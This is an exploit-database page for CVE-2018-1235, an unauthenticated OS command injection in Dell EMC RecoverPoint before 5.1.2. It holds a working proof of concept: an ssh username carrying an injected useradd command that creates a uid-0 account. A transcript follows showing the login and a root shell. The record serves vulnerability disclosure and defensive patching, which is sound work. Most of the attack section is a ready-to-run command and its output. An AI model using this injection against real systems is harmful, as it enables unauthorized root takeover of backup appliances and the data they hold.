Lucene search
K

Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution Vulnerability

🗓️ 22 Jun 2018 00:00:00Reported by Paul TaylorType 
zdt
 zdt
🔗 0day.today👁 86 Views

Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution Vulnerability - OS Command Injectio

Related
Code
# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
# Vendor KB: https://support.emc.com/kb/521234
# Github: https://github.com/bao7uo/dell-emc_recoverpoint
# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
# CVE: CVE-2018-1235
  
# 1. Description
# An OS command injection vulnerability exists in the mechanism which processes usernames 
# which are presented for authentication, allowing unauthenticated root access via 
# the ssh service.
  
# 2. Proof of Concept
# Inject into ssh username.
# N.B. combined length of new username+password is limited to 21 due to injection length limitations
 
$ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3
Password: ^C
$ ssh [email protected]
Password: Secret123
Could not chdir to home directory /home/bao7uo: No such file or directory
[email protected]:/# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/#

#  0day.today [2018-06-22]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation